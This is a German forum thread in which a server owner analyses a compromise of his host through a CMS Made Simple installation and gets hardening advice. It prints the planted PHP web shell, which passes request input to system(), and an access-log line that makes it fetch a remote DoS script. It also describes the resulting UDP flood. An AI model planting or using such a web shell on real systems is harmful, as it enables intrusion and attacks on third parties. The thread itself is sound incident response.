Portscanning / Bruteforce von meinem Server

snake*sl

snake*sl

Registered User
Hi,
ich habe von 1und1 folgende Mail bekommen:
wir haben mehrere Beschwerden über unerlaubte Zugriffsversuche (Portscans /
Hackversuche) seitens Ihres 1&1-RootServers (Vertragsnr.xxxxxxxx) erhalten.
Eine entsprechende Benachrichtigung finden Sie unten angehängt.

Wir möchten Sie deshalb darauf aufmerksam machen, dass dies strafbar ist und
rechtlich verfolgt werden kann.

Sollten uns diesbezüglich weiterhin Beschwerden erreichen, so sehen wir uns
leider gezwungen, den betreffenden Server vom Netz zu nehmen, um einen
weiteren Missbrauch unserer Infrastruktur zu unterbinden. Bitte überprüfen
Sie Ihren Server ggf. umgehend auf Viren / Würmer etc. Vielen Dank für Ihr
Verständnis.
Click to expand...

Ok, also hab ich sofort den Server in den Rescue-Modus geschaltet und die Platte gemountet um nach Ursachen zu suchen.
Im access_log vom Apache wurde ich dann fündig:
Code: 
66.0.156.250 - - [22/Jun/2007:05:17:11 +0200] "GET /uploads/.bd.php?in=http://tinfoilhat.net/%7Eebola/one.txt HTTP/1.0" 200 11 "-" "Wget/1.9"
Den Ordner Uploads mit der Datei .bd.php habe ich dann in einer Demoinstallation von CMSmadesimple gefunden. Der Angreifer muss folgendermaßen vorgegangen sein:

  1. aktuelle Sicherheitslücke von CMSms ausgenutzt mit der er sich Admin-Zugang verschafft hat
  2. Die Datei .bd.php im Dateimanager von CMSms hochgeladen, der Dateimanager wird normalerweise für Bild- oder PDF-Uploads genutzt. Die Datei .bd.php emfängt $_REQUESTs und packt sie in einen system-Befehl
  3. Nun wurde dieser Code eingeschleußt

Ich habe als erstes das komplette Web gelöscht und das vorsichtshalber Root-Passwort geändert.

Meine Fragen:
Was macht dieser Perl-Code genau?
Welche Maßnahmen würdet Ihr noch ergreifen?
Die Konfiguration meines Servers:
Suse 9.1, Confixx 3.2, Apache 2.2, PHP 4.4.4
 
Last edited by a moderator:
Hallo,

normalerweise Sichert man die ganzen Log Files, und seine persönlichen Daten und dann Installiert man den Server neu.
Man weis nie was der hacker noch alles auf den Server installiert hat, er könnte immer noch zugriff auf den Server haben.

Nach dem Sichern der Daten sollte man seine PHP Scripte nach Fehler überprühfen.
 
Das Script wurde nicht hochgeladen, sondern einfach eingeschleust, da das CMSms offenbar eine Input-Variable ungeprüft includet.
Das Script, das nachgeladen wird, macht nur einen DoS gegen eine IP, sonst nichts.
 
Zur vollständigen Analyse fehlt leider die Datei .bd.php. Insgesamt hast Du hoffentlich das ganze Download-Verzeichnis und das PHP-Temp-Verzeichnis gesichert und alle Logfiles aufbewahrt, oder?
Denn dort stehen evtl. weitere Dateien und Hinweiße, was der Eindringling noch so gemacht hat.

Um Elias Ausführungen etwas zu konkretisieren:
Das Script one.txt lößt sich von seiner PHP-Umgebung und startet dann einen 10 Minütigen Angriff auf die IP 64.85.163.15 über zufällige UDP-Ports mit unterschiedlich langen Paketen.

Nun kann diese Datei inzwischen schon wieder geändert worden sein. Daher wissen wir nicht wirklich was am 22.Jun um 05:17 dort für ein Script hinterlegt war.

huschi.
 
Huschi said:
Zur vollständigen Analyse fehlt leider die Datei .bd.php.
Click to expand...

Die sah so aus:
PHP: 
<?php
     if(isset($_REQUEST[in])){
             system($_REQUEST[in]);
     }
?>

Huschi said:
Insgesamt hast Du hoffentlich das ganze Download-Verzeichnis und das PHP-Temp-Verzeichnis gesichert und alle Logfiles aufbewahrt, oder?
Click to expand...
Uiiii, das Temp-Verzeichnis hab ich nicht gesichert ... verdammt. Aber die Logfiles sind noch da.

Huschi said:
Denn dort stehen evtl. weitere Dateien und Hinweiße, was der Eindringling noch so gemacht hat.
Click to expand...
Hmm, offensichtlich nix über den Apache. Es stehen keine weiteren Einträge mit Injections o.ä. im Log. Habe als allererstes akribisch die Logs durchforstet.

Es wurde allerdings in einem anderen Web versucht ein richtig übles Script zu starten. Hier hat jemand versucht über den Query ?lang= einen "Dateimanager" zu injecten. Ich habe die betreffenden Dateien untersucht, allerdings werden die REQUESTs sehr gut mit einem Whitelisting gefiltert.

Huschi said:
Um Elias Ausführungen etwas zu konkretisieren:
Das Script one.txt lößt sich von seiner PHP-Umgebung und startet dann einen 10 Minütigen Angriff auf die IP 64.85.163.15 über zufällige UDP-Ports mit unterschiedlich langen Paketen.
Click to expand...
Sowas dachte ich mir schon. Das deckt sich auch mit dem Log von 1und1.

Huschi said:
Nun kann diese Datei inzwischen schon wieder geändert worden sein. Daher wissen wir nicht wirklich was am 22.Jun um 05:17 dort für ein Script hinterlegt war.
Click to expand...
Scheinbar nicht, denn in dem Log, welches mir 1und1 schickte, wurden Angriffe über UDP an die obenstehende IP gesendet.

Auszug:
Code: 
23:25:57.062637 IP xxx.xx.xx.xx.60182 > 64.85.163.15.12313: UDP, length 791
23:25:57.063029 IP xxx.xx.xx.xx.51768 > 64.85.163.15.21263: UDP, length
1320
23:25:57.063766 IP xxx.xx.xx.xx.60182 > 64.85.163.15.12313: UDP, length
1969

Also meine erste Einschätzung liegt bei einem relativ harmlosen Angriff auf meinen Server. Allerdings weiß ich auch, dass solche Einschätzungen eher mit Vorsicht zu genießen sind. Deswegen habe ich diesen Thread gestartet.
 
Um der Ausführung von Scripts in /tmp (was meist der Default für PHP ist, wo es nachgeladene Sachen ablegt) vorzubeugen, ist es eine gute Idee, /tmp auf einer separaten Partition zu haben, für welche in der fstab "noexec" als Option angegeben ist.
 
MOD: Full-Quote entfernt!

Jo, das ist bei meinem Server der Fall.
 
Last edited by a moderator:
Habe gerade nochmal nachgeschaut. /tmp ist zwar eine eigene Partition, jedoch nicht mit der Option noexec.

/etc/fstab:
Code: 
LABEL=/    /       ext3    defaults        0       1
/dev/hda2    none    swap    sw
LABEL=usr    /usr    xfs     defaults        0       2
LABEL=var    /var    xfs     defaults,usrquota        0       2
LABEL=home   /home   xfs     defaults,usrquota        0       2
proc            /proc   proc    defaults        0       0
devpts          /dev/pts        devpts  mode=0620,gid=5 0 0
tmpfs           /tmp    tmpfs   defaults        0       0

kann ich da jetzt statt defaults, bedenkenlos noexec reinschreiben?
 
snake*sl said:
kann ich da jetzt statt defaults, bedenkenlos noexec reinschreiben?
Click to expand...
Nein. Du schreibst das zusätzlich zu den defaults rein.
Also "defaults,noexec" statt "defaults".

Wenn du noch ein bisschen performance rauskitzeln willst, kannst du auch noch noatime und nodiratime hinzufügen.
Diese machen nämlich aus jedem lesenden Zugriff automatisch auch einen schreibenden.
Das ist vorallem für Dateisysteme interessant, auf denen viel gelesen wird (z.B. /var) und auf denen eigentlich fast nie geschrieben wird (z.B. /). Die atime ist die Zeit des letzten Zugriffs und im normalen Leben eigentlich eine ziemlich uninteressante Information.
 
Ah, danke für die Info!

Hab das mal so geändert:
Code: 
LABEL=/    /       ext3    defaults,noatime,nodiratime        0       1
/dev/hda2    none    swap    sw
LABEL=usr    /usr    xfs     defaults        0       2
LABEL=var    /var    xfs     defaults,noatime,nodiratime,usrquota        0       2
LABEL=home   /home   xfs     defaults,usrquota        0       2
proc            /proc   proc    defaults        0       0
devpts          /dev/pts        devpts  mode=0620,gid=5 0 0
tmpfs           /tmp    tmpfs   defaults,noatime,nodiratime,noexec        0       0
 
Zur Not muß man auch mal selber in die Manpage schauen. Ich kann nicht immer alles auswendig wissen...

huschi.
 
Und vielleicht sich die Sache mit einem reinstall des Servers durch den Kopf gehen lassen.

Meine Erfahrung vor zwei Jahren: Einfallstor offenes PHP, installierter Web und FTP Server im Temp + ein Programm um sich gegebenfalls per Remote jederzeit auf den Server zu schalten, getarnt mittels FakeProcess als http Daemon.

Grüße
Sinepp
 
You must log in or register to reply here.
Back
Top